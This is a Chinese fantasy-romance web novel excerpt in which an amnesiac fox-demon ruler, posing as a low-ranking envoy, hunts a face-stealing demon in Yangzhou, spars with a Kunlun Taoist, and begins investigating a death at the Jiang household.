《失忆后被前夫找上门》
1. 楔子·相遇
一道凶狠的剑锋破空刺来,直指眉心。
砰砰砰。
心脏因为噩梦剧烈地跳动着,挣脱开梦魇的女子披着一头被冷汗浸湿的长发轻轻喘气。
意识逐渐回复,阿离转头望向客栈窗台,发觉日光已至。
噩梦做的太急,灵魂似乎要挣脱开躯壳,阿离拖着昏沉沉的头,歪歪扭扭地来到窗边,抬手一推,正要吸几口新鲜的空气,忽然!
她的窗子上突然落下一块绿石,这绿石用绳子绑着,就这么夹在她的窗棂之间。
这是她的妖界使者令牌!
阿离直直地盯着面前的绿石,记忆如潮水般上涌,气得她浑身打颤。
说来倒霉,阿离昨日遇上了一个道士。
昨日是二月初一。春风将至,末雪未消的时节。
满城杨柳依依,微雨砸面,分明是悠闲惬意的江南,却处处凝着恐慌的气息。
阿离这个外来妖怪初到扬州城,立马便听闻了城中让人闻风丧胆的怪事。
前些时日,扬州富商刘氏的女儿刘燕燕惨遭采花贼打劫。这采花贼不仅偷盗那些待字闺中的少女的第一春,而且还偷盗她们如花似玉的脸皮。
不错,脸皮。
刘燕燕惨死于自家闺房,刘老爷痛心疾首,愿付出一切代价,哪怕倾家荡产,也要为自家女儿的清白和生命搏出一条血路!
于是,百万悬赏令铺满扬州城。
现在,阿离面前便是一张沾满雨痕的画像,画像上的男人看似相貌平平,毫无凶神恶煞之相,实则却是杀人放火无恶不作的奸祟之徒。
画像之下便是“杀死凶手者,赏钱一百万金”的墨水字样。阿离撑伞伫立,眸光一动不动地落在悬赏令之上。
唰啦一声,阿离撕下悬赏令,绯衣裙摆重新混进了湿漉漉的泥泞之中,将一圈赤红染深变黑,绵绵不绝的细雨包裹了她的倩影,却藏不住眼底涌现的杀意。
她决定伸张正义一回,顺便拿下近在眼前的百万赏金。
伸张正义的决定可不是空口白话,因为半个时辰前,阿离恰巧‘看见’了凶手。
*
近日城内怪事频发,百姓因为害怕大多闭门不出,街上只有零星小贩为生计奔波,不顾生死。
“店家?”眼前的女子不像本地人,果然,“我从外地过来,一进城便觉得城中阴沉,近来可是发生了怪事?”
被叫住的店家年纪不大,少年稚气未脱,像是被长辈叫出来学习做生意的。
少年将目光定在女子身上,只见她左手撑着一把不起眼的白花油纸伞,亭亭玉立,风姿灼灼,更衬得她一身红衣如血,眉眼惊艳。较之更显眼的莫过于她腰间系着的绿叶令牌,如山野般的颜色,如玉石般的光泽。
这是妖界使者令牌,独一无二。
“竟然是从外地来的,城里的事还是不知道的为好。”店家用江南口音回绝道。
阿离穷追不舍,“可是死人了?不瞒店家,我师出昆仑山,是一个正儿八经的道士,我看城中黑气滔天,想必是,有邪祟作怪。”
最后一句阿离刻意压低了声音,却实打实地将少年心中隐瞒尽数猜中。
少年见她坚持,只好将信将疑地将所知尽数道出,“前些日子,刘富商的女儿被歹人盗走了脸皮。”
“脸皮?”
“对,这小偷可挑了,专门对那些富贵人家的,长相极为好看的姑娘下手。姑娘,你自己出门,可要小心些。”少年语气恐怖地说着,似要吓一吓这个不知天高地厚的女子。
阿离:“……我没钱。”
见对方不上当,少年也失了兴趣,一板一眼地说:“方才也有一人来找我,也是昆仑山道士,他可是你师兄?”
“要我说,你一女子……”话音未完,这位年轻的店家便连人带摊平地摔了个底朝天。
阿离:“啧啧啧,这雨天啊,地就是滑。”
随着纤细的身影逐渐消失在巷尾,莫名其妙平地摔的店家恨天恨地地啐了一口后,自认倒霉地推着摊车走了。
扬州城的路错综复杂,他拐了好几道弯,约莫用了半个时辰,才回到自己那破烂的家。
近日落雨连绵,脸上总沾不紧东西。
只见他舀了一瓢冷水,哗啦哗啦地往脸上一冲,粗糙的大手一抹,不出半刻,手上便掉下来一张人皮。
原来稚嫩的脸上,取而代之的,是一张三四十岁年纪的脸。
也是扬州城随处可见的悬赏画像上的脸。
“找到你了。”
一道轻幽的嗓音突然在背后响起,男人被吓得猛然咳了几下,在看清来人后,眼底浮起猥琐的笑。
阿离冷眸,仿佛判官一般,语气严正,“陈义山,柳州人士,原身脸妖,听闻你一路出逃,从柳州来了扬州,却还是不知悔改,身上的人命,数不胜数,前天,你亲手杀了刘富商的女儿刘燕燕,拿走了她的脸皮,是与不是?”
被道破身份的陈义山从身后的摊车里缓缓抽出一把大刀,“我不管你是怎么找到这儿,又是怎么发现是我的。但是,小姑娘,就凭你,一个小小的绿衣使者,杀得了我吗?”
妖界使者分三六九等,绿衣使者,是最低一等。
脸妖作恶良久,自然是积蓄了足够的妖力,所以不论今日来捉他的是绿衣使者还是紫衣使者,他都有实力叫他们有来无回。
“自然。杀你,换一百万黄金,还能积德,何乐而不为呢?”阿离丝毫不惧,反倒一步步朝他逼近,腰间的使者令牌跟着她的步子晃动,别有一番风趣。
只见陈义山大喝一声,提刀冲来,粗壮的手臂一挥,那大刀直直劈碎了一块大石,这位置是方才阿离所在,但为何一眨眼,却没了踪影?
陈义山定眼一看,发现阿离已然出现在了自己的右前方。
陈义山再次提刀冲去,每回却都扑了空,他连阿离的衣角都碰不到,而阿离就像逗猫遛狗一般将他的精力耗了个精光。
“有种别躲来躲去!”陈义山不满地叫了一声。
阿离遂了他的愿,停在了他的面前,随后纤细的手腕一转,血红的刀刃直直刺入陈义山的胸膛,鲜血顺着刀刃,淋湿了地板。
妖怪没那么容易死,但是会痛,于是阿离将刀刃反复捅进陈义山的身体里,叫他生不如死。
伴随着陈义山的惨叫和求饶,阿离大义凛然地停了停手。
“求你,让我死个明白。”陈义山心有余悸,不想死得不明不白,遂而问道。
阿离哼了一声,一脚踹上了陈义山的腰杆,“你以为就凭你那三脚猫的易容术,能瞒得过谁?陈义山,你应该庆幸,你能死在同族的手里,若是你不小心落到了那些凡人道士手上,开膛破肚,是绝对少不了的。”
可她现在所为,不就是开膛破肚吗?
陈义山绝望地想。
“不过你想知道,告诉你也无妨。”
“扬州城里的花糕摊子,除开花月楼、醉春楼还有四福斋敢卖二两银子,其余的,特别是像你这种在街上叫卖的,一文一个都算多!知道了吗?奸商!”
阿离气愤填膺,再次在‘人渣’身上踩了一脚,几声咔嚓,助骨断了两根。
又是几声惨叫。
“求求你,饶了我吧!”
“我保证以后不再杀人,求求你,看在我没有对同族动手的情分上,饶了我吧,使者大人!”
妖怪闻言,咧开嘴角,笑了。
“原来知道害怕啊?在你动手割下那些女子的脸皮的时候,你可想过她们会害怕?”
“人渣!”阿离斥骂一声,手上化出一把血色短刀,骂着便要朝面前的十恶不赦之妖逼去,“我们妖族可没有你这样的败类!”
她想以其人之道还治其人之身,用手上这柄短刃,将对方的脸划个稀巴烂。
但意外似乎无处不在,特别是在一件事将要结束的时候。
只见阿离正提刀冲上去的时候,眼前突然挥来一阵剑风,紧接着,罪魁祸首陈义山便两眼一瞪,脖子一歪,双膝一跪,整个人就这么倒在了血泊之中。了无生息。
陈义山死于一柄金色长剑,而不是她的血色短刀。
阿离呆了。
她偏头看向突然出现的男人。
男人身高八尺,一袭玄衣装扮,模样俊朗,气质冷厉。
此人身上没有妖气,不似妖界之人,亦无神息,应当是个实实在在的凡人。
如此气宇的凡人,还缺钱吗?
阿离看呆了,一时间不知道是该笑还是该哭,“你杀了他,我怎么办?”
她的一百万赏钱!就这么不翼而飞了?!
随着冷峻的唇缝一张一合,说了句让人心寒的话语,“凉拌。”
男子二话不说扔出一个乾坤袋,将地上的尸体收进去后夺门而出,阿离又是一愣,反应过来后飞身追了上去,两人刀剑相向,一来一回竟然打了个平手。
“放下尸体!”
快到手的赏钱绝对不能飞!
拔腿狂奔,一连越过几条青石小巷,那一抹红色倩影才堪堪刹住步子停了下来。
面前是一堵结实的白墙黑瓦,男人终于无处可逃。
“这是我的功劳,你半路截杀,礼数何在?”
男子手提长剑,侧对刚刚破云而出的太阳,给身后的妖怪留下一抹锋利俊俏的剪影。
“就算你长的好看,也不兴抢劫啊!”
对方闻言,终于转身过来,只见他用剑柄勾起乾坤袋,仰头挑眉道:“悬赏令上写,杀死凶手者,赏钱百万金。陈义山的人头是我砍下的,姑娘,不也清清楚楚地看见了吗?”
阿
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离感觉自己的心脏被人狠狠捏住,霎时间喘不上气,先来后到的道理讲不清了,那便只能先礼后兵。
阿离拔高嗓音问,“你是何人?”
“昆仑山,祁渊。”
昆仑山?这不是她那个素未谋面的师兄吗?
似乎看穿了她的小心思,对方报完门派,便率先拔剑而起,破空而来。
见状,阿离也不甘示弱,手掌上迅速凝起妖力,以掌风化剑气,对方提剑而挡,眉眼中不易察觉地闪过一丝疑窦,再挥剑,一道亮白的光闪起,阿离退了两步。
对方势盛,一瞬之间,阿离便落了下风。
但阿离却不管不顾地,愈挫愈勇,只管往他的剑锋上撞。
原本直走的剑锋突然一偏,似乎是不忍心。祁渊收了剑,阿离则趁机夺了他的乾坤袋。
二人重新分隔,小妖怪得意地炫耀起了自己的战绩。
“怎么样啊?小、道、士?”
面对赤、裸、裸地挑衅,祁渊毫无波动。只见他将长剑收回神识,又将另一只藏于身后的手抽出,赫然,他手中正握着——一块透亮的绿叶令牌。
还有一个,外观与阿离手中一模一样的乾坤袋!
“哦?小妖,你不妨看看你的尸体还在不在?”他眸底忽然变深变冷,刺人心尖。
阿离双目圆瞪,几近慌乱地打开手里的乾坤袋……空空如也……
再看腰间,那块透亮的绿石也失了踪,正被面前这个可恶的道士捏在手里。
怎么回事?!尸体呢?钱呢?!
还有她的令牌!
事到如今,阿离终于意识到:她被耍了!
这人不仅缺钱!还记挂她的使者令牌!
“你想干什么?”语气中的杀意渐显。
对方不搭理她,翻看令牌时碰见一个名字。
“阿离。”
他嗓音沉沉,傲慢的语气里多了几分探究的意味。
“本来没想做什么,只是你这小妖穷追不舍,不逗一逗,不好玩。”
“这牌子看着新颖,没收了。”
阿离看着对方转身离去的背影无声惊讶。
“没你个头,站住!”
眼见就要抓住祁渊的衣袍,哪知对方像背后长了眼睛似的,两指化剑直挥过来,无形的剑锋落在阿离的眉心正中间,狠戾的眸光如猛兽般将她生吞入腹,也就是这时,阿离忽然意识到眼前之人是何等强大。
“我这剑被磨得狠,你若是再上前一步,当心小命不保。”男子语气冷冽,像世间最正直的剑,不容一丝偏驳。
阿离怯生生地退了两步,眼前的长剑才终于消失。
随便吧,快走吧,这令牌其实也没那么重要……
只是万一出事了,她要以命相抵罢了。
剑锋收回,那道士走了。
没拿到赏钱,身无分文、无处可去的妖怪只能流落街头。
那道士好生可恶……若不是失了妖心,她怎么败得如此惨烈……
绕是再怨恨也骂不出来了,阿离的肚子叫了,一只妖抱着伞蹲在路边,可怜的很。
“姑娘,请问寻冬客栈怎么走啊?”
‘自闭’的妖精觉得这路问得莫名其妙,但是对方已经怼到脸上了,不好不答,但由于今日太倒霉,心中郁积的怒火砰的一声炸开,于是有了接下来这句怒骂,“你瞎啊,这么大的四个字你看不见吗?!”
阿离抽手指向头顶的客栈招牌,上边整整齐齐地写着四个大字——寻冬客栈。
对面也觉尴尬,但无奈受人所托,只能装傻傻到底,“原来,这里就是大名鼎鼎的寻冬客栈啊!”
“……”
这人没事吧?
“谢谢你啊,你帮了我这么大的忙,我得好好感谢你!”
阿离:谢呗,有种给我一百两银子!
“这里是十两银子,姑娘收好。”
当银子落在阿离的手掌上,暗淡的生命好似突然出现一缕阳光。
阿离抬眼观察对方的长相,竟是出乎意料的慈和无私。
‘雪中送炭’的恩人挺直腰杆,用一副正直沉稳的音调说:“相逢即是有缘,我叫姜满,姑娘不必客气。”
说完便转身走了,他甚至不问问,这个受他帮助的姑娘姓甚名谁。
英雄!这就是救人,哦不,救妖于水火的英雄!
另一边,刚当了好心人的姜满一脸浩然正气,“师弟,我只能帮你到这儿了!”
“下次我可不帮你了,既然是心上人,就要大胆些!不要害羞嘛!哈哈哈!”
姜满像个没正形的长辈一样,用宽大的手掌拍了拍祁渊的肩膀以示鼓励。
沉默的青年抱着剑,抬眸望向了那扇才被推开的窗户。
心绪悠长而又深远,好久不见,他道。
2. 花月楼(一)
其实阿离这个名字并非真名,只是因为出门在外身份是自己给的,所以才随意取了这么一个‘适合’闯荡江湖的名字。
简单、好记,又显得很有故事感。
话说回来,阿离的本名叫涂山虞。
涂山虞。
一个能够在妖界呼风唤雨的名字。
因为它奇迹般的,和现任妖主重了名。
但事实上,阿离就是妖界妖主涂山虞。
可现在,却没有人能够将这两个毫不相干的名字联合在一起。因为阿离在妖界是一个排不上名号的弱鸡,而涂山虞是打遍妖界无敌手的妖主大人。
一切转变,都要从一场失忆说起。
一百年前,阿离在涂山醒来,她遇见的第一个人是赫连远,她的青梅竹马,一条梦想要当山大王的蛟龙。
“你觉得怎么样?”赫连远微笑着站在她的床边。
阿离实在笑不出来,她十分清晰的感觉到,身体里有一处地方空荡荡的,那曾经放着她最珍贵的妖心,但现在,她的妖心不见了……清楚了解自己身上有了什么改变的妖怪不想面对现实,“我一定是在做梦。”
“这不是梦。”
“你把你的妖心丢了。”
……
赫连远说,他也没想到她会这般冲动,一个没看住,竟然转眼就将自己的妖心掏给他人。
阿离:“我怎么可能会自掏妖心呢!?”
妖心承载着她体内强大的妖力,失去妖心后,一身强悍的妖力无处凝聚,孤魂野鬼似的,随意在体内游荡,若是实在不幸,阿离随时会因为承受不住自己的妖力而死去。不仅如此,失去了妖心,力量也会因此减弱,妖族以力量称王,若是此事被公之于众,阿离这个妖主将会被推翻,好不容易经过统一安定了五百年的妖界将再次陷入混乱!
阿离不知道自己的妖心是怎么没的,她没有这段莫名其妙的记忆。
赫连远像是早已做好了被质问的准备,“因为你爱上了一个道士,这道士得道飞升时要历劫,明明是他的劫数,你却为他傻乎乎的祭了妖心。我知道你会反驳说不可能,可那时候,你失忆了,你不是你,或者说,你不是涂山虞。”
只有涂山虞会顾忌妖族的存活,忘却一切之后,阿离会将自己的生命献给那个人。只要他需要。这就是爱情。
“道士?他是谁?”阿离攥紧了拳头,此时的她焦躁到了极点,只想立马将这人找出来,拿回她的妖心。
赫连远耸了耸肩,“我会帮你守住这个秘密,但是寻妖心,还得靠你自己。”
说完,他便将阿离喝完的药碗端走,留给阿离足够思考空间。
“我和他,第一次见面是什么时候?阿远,我一定和你说过吧?”赫连远因阿离的突然出现被吓了一跳。
“好像,有。”
“在哪?”
“也许是……扬州城吧。”
“如果你要去的话,顺便去处理一下扬州城的地头蛇。”赫连远拉回刚跑出半步的阿离,并将一枚绿衣令牌塞到了她手上,然后松手。
阿离面露喜色,“知道了,阿远,我一定会赶回来做你的证婚人的!”
回忆到此结束,阿离像愣头青一样来到了扬州城,为了寻找那个夺走她一切的道士。但阿离忘了最重要的一件事,失去妖心的她就像一只修为仅有两百年的小妖怪,完全没有保命的能力。
在这吃人的凡间,在地头蛇花月楼的眼皮底下,光靠一枚绿衣令牌是万万不可能在扬州城横着走的。
除非能有一个靠山。
从小到大,阿离打架从未输过,她是众妖眼中的修炼天才,是历史以来最年轻的妖主,行事风格狠厉果决,也是众多不安分的罪犯口中杀人不眨眼的女魔头。
一路来到扬州城,阿离只遇见了唯一一个有资格当她靠山的人。
祁渊。
一个眼比天高,满身傲气的道士。
他的剑很快,只比妖界十大高手中最擅长使剑的妖君逊色一点点。阿离仔细回想祁渊的剑意,意外发现那一剑虽然含着足够的杀意,却不是全力,而是保留了至少半数力量的一剑。
对方有种看不起她,不想和她计较的感觉。
就是这保留的一剑让阿离觉得,她可以和他进行一场谈判。
好胜的狐狸竖起尾巴,得意的想。
妖怪想找一个人——一个非常帅气的人非常简单,只需要问一问,“请问你们有在附近看见一个气宇非凡,长相如谪仙的凡人吗?”
阿离觉得那个高傲的道士值得她这些夸奖和评价。
“他,应该是最近几日才入城的。有这么高。”阿离踮起脚,在自己头顶努力比划了一番。
费尽心思,终于在一家客栈找到了正在喝茶的祁渊。
“好巧啊,道长。”阿离寻了一路有些口渴,遂而也不客气,直接拿起了茶壶往嘴里灌茶。
从名人变成无名小卒,最直观的一个好处就是不用再提心吊胆的对陌生人摆架子。
祁渊似乎对她的到来似毫不意外,也不在意她那不合乎礼数的举动,桌上一共两杯茶,茶里是近年江南兴起的碧螺春,是满的。
他将骨节分明的手握在青绿色的瓷壁之上,食指沿着茶杯边沿摩挲,“何事?”
“有个问题,想请教一下道长,昨日拿走我的令牌是去做了什么呢?让我猜猜。”阿离坐于对面,双手撑着下巴,“花月楼?扬州城里,还有哪处地方是单靠使者令牌便能通行的呢?”
“你们这些道士想干嘛?让我再猜猜,花月楼行事乖张,近来又在凡间惹出了诸多祸端,搞得人心惶惶的。昆仑山是大门派,想必对凡间安定还是十分上心的,所以,道长出现在这儿,是想对花月楼做什么吗?”
阿离上下打量了一番这个看似毫无波澜的男人,轻柔的语音里带了魅惑和试探,“是,想伸张正义,让他们在凡间彻底消失?”
不等祁渊的答案,阿离先入为主道:“正好,我也有此意。”
“不如,我们合作?”
闻言,祁渊抬眸,看了一眼面前大胆发言的女子,将手中圈着的茶杯捏起,打算饮茶。
谁料一记手刀袭来,挡住了祁渊抬手的动作。
阿离转腕带着祁渊的茶杯向下一压,本想让他放下茶杯,好好和自己谈判,却不想对方将茶杯向上一扔,一掌划来轻松地化解了自己的力,不仅如此,这一掌随着手臂延展,眼看着就要击中阿离的鼻尖,却因阿离身手敏捷地向后折腰而不至于得逞。
阿离被迫离开座位,而茶杯却稳稳地落回了祁渊手中,一滴未洒。
客栈内众人纷纷叫好,一时间掌声如雷鸣不断。
阿离不服输,再次对祁渊手中的茶杯展开了进攻。二人均用手脚功夫切磋,一时间竟缠斗了起来,茶杯时而被抛上半空,时而将要落地又被其中一人的脚尖接住,回踢于半空。一次茶杯被打翻,茶水飞出,阿离却用一招飞燕腿从缠斗中脱身,纤细的腰肢靠在被打乱的木桌上,仰头,一杯茶水就这样尽数落进嘴里。
末了,阿离一手优雅的抹去唇边茶渍,另一手停于半空,接住了下落的茶杯。
“好!”比划结束,又是一阵如雷鸣般的掌声。
阿离向众人招了招手,示意他们安静,与此同时,只见她一边用一根手指卷着方才因打斗而溜到肩前的长发,一边脚步轻盈的,逛到了祁渊身边,随后又绕到了他的身后。
祁渊面对调戏并未自乱阵脚,反倒是跟着她的动作,眸底深了又深。
“坐。”阿离按着他坐回椅子上。
“我刚刚说的话,道长听见了吗?我的意思是,我们合作,将花月楼推翻。这样,既帮了妖族,又帮了人间,一举两得的事情。道长真的不考虑一下吗?”
道长有些口渴。
阿离注意到了,立马跑去隔壁桌拿了茶壶,给祁渊满上了茶。
因此,祁渊终于开口说了一句长话,“我们合作?不知使者大人,代表的是妖族哪方的利益?”
“自然是,伟大的妖主大人。”
“好。”
这突然的一声可把阿离吓得不轻,“好?”
祁渊轻咳了两下,“我的意思是,只要你能进花月楼,此事,可以商量。”
“就这?”
“就这。”
简单。
阿离自信的告别祁渊,转而前往扬州城里最繁华的烟花柳巷之地——花月楼。
凭着一块透亮的绿叶令牌被领进楼中,她与话本中的十丈红尘隔着一道薄墙,外边欢声笑语,里边严肃默言,只剩下两串啪嗒啪嗒的脚步声。
“现在是去哪儿?”阿离对面前带路的妖怪颇有不满,因为她要求见花月楼楼主秦娘子,她知道楼主会待在顶楼,而她走了冗长的一段路,却不见楼梯的影子。
“楼主正忙着,我带你去找掌事。”带路的妖怪语气轻蔑。
薄墙之外的琴音愈来愈远,阿离被领到一处小院。院中有一口老井,一颗老树。那是相对于繁华的荒凉。<
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虫鸣声过于清晰了,阿离知道,自己就像门前落叶般被花月楼清扫了出去。
“绿衣大人,单凭一块绿叶令牌,是进不了花月楼的。查案的事,扬州城还有许多紫衣大人,就不劳操心了。”那妖边说,边化作一团妖气离开,看上去像是一刻也不想多呆。
“若我非见不可呢?!”
“非见不可?”那妖哼哼了两声,“除非,你有妖主令。”
不是使者令牌,是妖主令。
持妖主令者,如妖主亲临,掌一方生死大权。
地位低微的绿衣使者怎么可能有拿到妖主令的机会?就算有,一时半会,她去哪要呢?
花月楼摆明了不欢迎她,但面前的妖怪却犟气地说道:“那倘若我有呢?”
“那花月楼上下,全凭大人差遣。”
说话的妖怪没当真,她笃定阿离拿不出妖主令,随即卷了卷自己的纱袖,干脆利落地走了。
半个时辰后,两人却在花月楼大门面面相觑。
“妖主令,我拿来了,花月楼,会守承诺吧?”阿离将手中的卷轴刷地一声摆开,上边的朱红色印章给足了她放肆的底气。
这回不是路过繁华了,这回是置身繁华。
女子将阿离引到一位外边围着藏蓝色长衫,里边是淡紫色衣裙的妇人面前,妇人低敛着眼,一副尖酸刻薄的长相,左手食指上戴了枚红宝石戒指,再顺着看,手腕上是两个玉镯,右手上则握了串佛珠,不紧不慢地把玩着。
看来这妇人就是那位狗眼看人低的掌事。
阿离抬起架子,双手怀抱于胸前,赫然也是一副不大好招惹的模样。
她的皮相更年轻些,一双眸子虽有狠劲却又看不出沉稳,一经对比就像小猫见大虎,相差十万八千里。
“不知大人前来,有失远迎。”扯下一颗佛珠,掌事眯起眼睛,和善一笑,“我是花月楼的掌事,碧云。”
“掌事有所不知,这是我第二回拜访花月楼了。”阿离冷嘲,说到‘第二次’时语气明显加重。
“若是大人不生事端,花月楼怎会不欢迎大人呢?”碧云敛起神情,似乎是在审问阿离,确定要插手花月楼之事?
阿离沉下脸,一字一顿地说道:“事端?怎么?花月楼是要违抗妖主令?”
“不敢。”碧云迅速低头,“大人可否将妖主令和使者令牌借我一看?”
知她有疑,阿离将自己的令牌连同手里的妖主令一同交出,任由她细细查看。
碧云接过,将令牌顺手交给了一位抱着琵琶的女子,自己则是细细检查起这份妖主令。
——扬州城所有案件一律交由绿衣使者阿离全权处理。
当今妖主极少签署妖主令,妖界事务几乎是由尊使大人代劳,不过并不是没有,上一份妖主令颁下时,一个妖族便在世间彻底消失了。
印章花纹纹理精致,朱红落印清晰,确是妖主印所盖。
不过堂堂妖主凭何任命一个绿衣使者插手扬州城之事呢?
另一女子将身上抱着的琵琶放下,把令牌放在手上细细观察,发现这块令牌如青绿玉石,光泽透亮,上边俨然刻着一个名字——阿离。
琵琶女将令牌举起至一个与眼睛齐平的高度,随后开始打量起令牌的主人阿离,一袭红衣长裙,像高门贵女,一株不染尘俗的傲梅。但她的傲不像寒风雪松,更像是纸醉金迷里的散漫、高山流水般的自由。
她来自涂山,是个不折不扣的狐狸精。
瞧着手上的令牌质地新而亮,琵琶女肯定这位名唤阿离的大人是妖界新上任的绿衣使者。
绿叶令牌,低阶使者,狐假虎威。
平日里行事嚣张的花月楼自然是不会让面前这位新官烧起三把火的。
碧云将令牌和妖主令一同还给阿离,陪笑,“使者大人息怒,只是昨夜有一人也拿了使者令牌进花月楼,说要调查案子,只不过后来我们发现,那人的令牌是假的。有了前车之鉴,自是要加强监管,可不是什么人都能进花月楼的。”
道士的第一关,她通过了。
“另外,笛监察使的案子时日以久,又有紫衣使者拍案定论,若是大人空闲,不妨先查一查最近的一桩悬案?”
阿离微微蹙眉,听懂了碧云的弦外之音。
“三日,使者大人若是找出凶手,并将凶手绳之以法,我们花月楼便认同大人的身份,彼时,自然不会再阻挠大人。”
三日就三日。
阿离毫不犹豫地应下了。
3. 花月楼(二)
死者名为章大文,是扬州城一家布匹铺子老板,平日为人友善,没有任何仇家,可他七天前突然暴毙于家中,只留原身一具金毛犬尸体。
在妖界,这是一桩骇人听闻的血案,在人间,这是一桩人心惶惶的失踪案。
阿离来到商铺门口,发现商铺早已被官府贴了不准进入的封条,扬州城雨丝未尽,大街上没几个人敢出来走动。
阿离费了好大劲才勉强找到一只妖怪问路,她去敲了死者隔壁的门,那住着的也是一只犬妖。
阿离简单道明自己的身份和来意,对方眼眶里似有泪珠转动,感激之情溢于言表,“我以为花月楼不会管了,没想到今日还能见到使者大人!”
“你慢慢将章老板死前的行踪细细道来,我会一一查证,绝不会让他枉死。”阿离拦住那双即将碰地的膝盖,安抚着说道。
“大人,我知道凶手,肯定是江家小姐!”
“为何?”见他笃定,阿离更是疑惑。
“大文死前,给江家送了最新花样的布匹。那天他回来的时候,脸上还挂着笑,什么缘由没说,但我估计,是江家小姐答应了他。”
章大文是个老实憨厚的妖怪,在如何成为商人的道路上一窍不通,在他以为自己快要穷困潦倒、打道回府的时候,他认识了江家小姐江茗。他们相见恨晚,志趣相投。为了帮助好友,江家小姐大手一挥,指了章大文往后的生意。
大文心怀感激,日日夜夜研究布匹花样,想象江家小姐将这些绣花穿在身上的模样,脸上总也忍不住冒红晕。邻居兼好友敢打包票,那傻妖怪,喜欢江府的千金小姐。
情之一字总是愁,无解。
既然喜欢,何来死亡呢?
邻居又猜是章大文的单相思,高高在上的江家小姐不可能喜欢一个地位低又傻愣愣的布匹老板。
对了,他又想起来一件事,那日大文还说,江家小姐,知道了他的妖怪身份。
邻居骂他傻啊,凡人怎会有真心?一不小心丢了命怎办?
结果第二天,大文真把命丢了。
“若不是这样,那江家小姐怎么突然中邪?要我说,肯定是大文回去找她了,她愧疚。”邻居喋喋不休地埋怨着。
***
扬州城江家富甲一方,据说一直是城里的活菩萨,因为人家有钱还不自私,一天天地还挺会帮老百姓想法子。
路没了,修;大水涨上来把庄稼淹了,补;要修庙宇拜神,修。江家的钱像是没地方花了一样,尽做善事。
江家积足了福气,他们家老爷老来得女,得了个漂亮的女娃,于是江家的钱越来越像烫手山芋一样,抢着扔出去。
可怪就怪在三月前,天空雷云滚滚,一道惊雷劈下,江家突然失了火,阴蒙蒙的大雨天中,这大火就像地下长出来,怎么也扑不灭。
而这火,据说是烧在了江家小姐的闺阁中。
大火熊熊燃烧了两天两夜,扬州城才重新迎来了漆黑的夜色,坊间有人传,火是得道高人施法灭的,这高人把江家小姐从鬼门关里拉了回来,让千疮百孔的身体如获新生。
原本这一切都是上天垂怜,但在七日前,城外灵泉寺却又起了一桩事故,据说是江家小姐本是妖怪,一直藏匿于人群之中,吸取凡人阳气以提高修为,但这没有根据,因为说她是妖怪的和尚并未拿出任何证据。
在这之后,江家小姐便中了邪,丢了魂,失了魄,于是众人又猜,是有妖怪占了江家小姐的身子。
一传十十传百,阿离很轻松地便打听了个大概。
阿离到江府的时候,雨已经停了,灰蒙蒙的天,再加上周围是一片死寂,完全没有人走动,衬着偌大的江府像是一座死宅,再晚些便有百鬼夜行一样。
晚冬也是冬,因有寒风吹过,所以阿离为自己披上了件斗篷。同样是明艳的红色,像满山落英,格外醒目。
阿离提起衣袖,捋了捋,抬手握住了大门上的圆环,一边敲一边喊,“有人吗?”
很快,里边传来了窸窸窣窣的脚步声,待门一开,阿离将自己早就准备好的托词一背,“我是昆仑山的道士,此来是想为你家小姐驱驱邪气……”
然不等说完,开门的仆人便长哦一声,“昆仑山的道士是吧,进来吧,你师兄在里边施法呢。”
师……兄?
某张帅气逼人却十分可憎的脸从脑海中一闪而过,阿离后槽牙一紧,进了府内。
“二位道长,你们的师妹来了!”
江家下人将阿离带去院子中央,那儿正摆开一个八卦符阵,一个人在正中心准备拿起铃铛开始跳大神,另一个人抱着剑,沉默寡言地靠在一旁的柱子上。
两人神色各异,独独缺了一点震惊,就好像知道来的人一定是她一样。
那准备跳大神的道士脸上糊了不知哪种草药,两三道抹在脸上,有些野人的感觉。
但阿离还是认出了他,毕竟对方曾以十两银子救她于水火。
她死也想不到,姜满和祁渊竟是同门!
莫非他们早已看出了她的身份,等着她自投罗网?还是,他们也想找她合作,只是不好意思说?
见她过来,姜满乐呵呵地说道:“师妹啊,快来帮个忙,你师兄他撂摊子了!”
阿离将目光转向祁渊,勉强扯开了笑颜,一种名为尴尬的气氛在二人间蔓延。
“哈哈,好巧。”阿离真想扇自己一巴掌。
对方不笑,神情平静又沉默。
阿离任由姜满推她过去。男人身材高大,阿离路过他时低着头,看不见那张冷漠无情的脸,但他的影子如山般挺立,风轻略过他时,墨发轻飘,似是故意要触碰她的影子。
这使她浑身一惊,以至于重新想起那道凌冽的剑意,因而忙不迭地扭过头去,藏在衣袖里的手指微微紧攥。
所幸那仆人见他们相处融洽及时撤走,阿离眼疾脚快地移开了距离,一副表面和谐融洽、背地里却厌恶至极的模样,碍得对方眉头紧皱。
阿离挪步来到姜满面前,几缕长发被风挽起,随意又自由地飘扬着。
“什么忙?”
心底冷意未消,阿离暂时不想和祁渊讨论合作的事情。
姜满笑着将一碗米塞进阿离手中,“将这碗里的米均匀地撒在府里的各处,记住只能撒在路上,别撒进屋子里。师妹,麻烦你了。”
这声师妹喊得倒是亲近。
没反驳,领了任务,阿离迫不及待地提着裙摆离开。
在她身后,一束目光紧紧地落在她的身上。
从小叛逆的妖怪是不可能听道士的吩咐的,她答应姜满只是想要借此机会打探江府,查找线索。
阿离将碗中的米粒小把小把地撒在了江府各处,在撒到一间焦黑的屋子面前时,阿离停了一下。
她望向被大火焚烧过后破败不堪的木头,眼中仿佛正在浮现出当时的绝望情景,那是连大雨都浇不灭的大火,这火来自地下,蔓延、蔓延,然后升天。
耳边是死一般的寂静,它们被焚烧过,生命早已归零。
不敢再看,阿离转头,继续她的任务。
碗里的米很快没了大半,阿离最后行至一间房前,绕了一圈撒上米,最后踏上了台阶,推开了房门。
这便是江家小姐现今住着的屋子。
今日落雨,天蒙,加之屋内之人邪气太重,无人敢靠近,遂而无人前来掌灯,屋内一片漆黑。阿离心神一紧,掌心处施法化出一团小火,方使她能勉强观察屋内大概。
江南多雨,是以白墙黑瓦。屋中家具,皆是由江南上好黑木所造,隔着一道苏绣屏风,最里边是一张漆黑木床。
床前纱帐厚重,从外往里看,隐约可见床上有女子的身形,但她就像一张轻薄的纸片般躺在床上,了无生息。
阿离屏息,周围的气氛霎时诡异起来,在即将碰到面前的纱帐时,身后突然传来一道声音。
这道声音在唤她的名字。
“阿离。”
手中的碗剧烈一抖,白色的米粒滚了出来,落在地上,堆成一小片。
“主人未允许,擅闯?不合适吧。”
说话的人倚在门槛上,狭长冷峻的眸光低落,扫了一眼地上的米粒,又重新将目光放在里屋的小妖身上。
阿离憋着气,脸颊两侧起了红晕,僵着身子转身走了出来,有些被抓包的尴尬在。
